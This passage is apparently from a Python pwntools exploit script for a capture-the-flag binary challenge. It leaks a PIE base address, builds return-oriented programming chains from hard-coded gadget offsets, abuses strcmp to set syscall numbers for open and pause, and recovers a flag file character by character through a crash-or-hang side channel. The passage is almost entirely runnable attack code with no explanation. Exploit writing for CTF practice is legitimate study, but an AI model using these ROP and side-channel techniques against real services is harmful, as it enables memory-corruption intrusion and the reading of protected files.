        signal.signal(signal.SIGALRM, signal.SIG_DFL)
        io.close()
        return False
    pie_base = u64(io.recv(6).ljust(8, b'\x00')) - \
        (0x561d75601161 - 0x561d75600000)
    strcmp_plt = pie_base + elf.plt['strcmp']
    read_plt = pie_base + elf.plt['read']
    read_got = pie_base + elf.got['read']
    pop_rdi = pie_base + 0x00000000000011a3
    pop_rsi_r15 = pie_base + 0x00000000000011a1
    syscall = pie_base + 0x00000000000009f5
    csu1 = pie_base + 0x000000000000119A
    csu2 = pie_base + 0x0000000000001180
    bss_start = pie_base + 0x0000000000202020
    flag_str_addr = pie_base + 0x000000000020207a
    try_chr_addr = pie_base + 0x000000000020207f
    target_chr_addr = bss_start + 0x300
    test_gadget = pie_base + 0x00000000000099b
    set_rax_2 = flat([  # open
        pop_rdi,
        pie_base + 0x00000000000011E7,
        pop_rsi_r15,
        pie_base + 0x00000000000015A0,
        0,
        strcmp_plt
    ])
    set_rax_0x22 = flat([  # pause
        pop_rdi,
        pie_base + 0x00000000000011EF,
        pop_rsi_r15,
        pie_base + 0x00000000000015A0,
        0,
        strcmp_plt
    ])
    

    io.sendafter(' code\n', flat([base64.b64decode(
        'ZjFhZ3tYU0NURi0yMDIyLWdvLWdvLWdvfQ=='), '\x00flag\x00', try_c]))
    rop_chain = flat([
        set_rax_2,
        pop_rdi,
        flag_str_addr,
        pop_rsi_r15,
        0,
        0,
        syscall,
        csu1,
        0,
        1,
        read_got,
        0,  # edi
        target_chr_addr,  # rsi
        flag_len + 1,  # rdx
        csu2,
        'a' * 56,
        pop_rdi,
        try_chr_addr,
        pop_rsi_r15,
        target_chr_addr + flag_len,
        0,
        strcmp_plt,
        test_gadget,
        set_rax_0x22,
        syscall
    ])
    if flag_len == 9:
        rop_chain = flat([
            set_rax_2,
            pop_rdi,
            flag_str_addr,
            pop_rsi_r15,
            0,
            0,
            syscall,
            pop_rdi,
            0,
            pop_rsi_r15,
            target_chr_addr,
            0,
            read_plt,
            pop_rdi,
            try_chr_addr,
            pop_rsi_r15,
            target_chr_addr + flag_len,
            0,
            strcmp_plt,
            test_gadget,
            set_rax_0x22,
            syscall
        ])
    io.sendlineafter(' leave your phone number here\n',
                     flat({0x28: rop_chain}))
    sleep(0.1)
    io.recvuntil('~\nNow you can join the club, go crazy!!! *\\(^o^)/*\n')
    try:
        io.recv(timeout=0.5)
        io.close()
        return True
    except:
        io.close()
        return False


table = string.printable + "\n"
flag = ''
t = time.time()
while True:
    for c in table:
        if pwn(c, len(flag)):
            flag += c
            break
    if flag.endswith('}'):
        success(flag)
        success(flat(['time: ', str(round(time.time() - t, 2)), 's']))
        break
    else:
        info(flag)
        with open("out", "a", encoding='UTF-8') as f:
            f.write(flag + "\n")
        info(flat(['time: ', str(round(time.time() - t, 2)), 's']))
    sleep(0.1)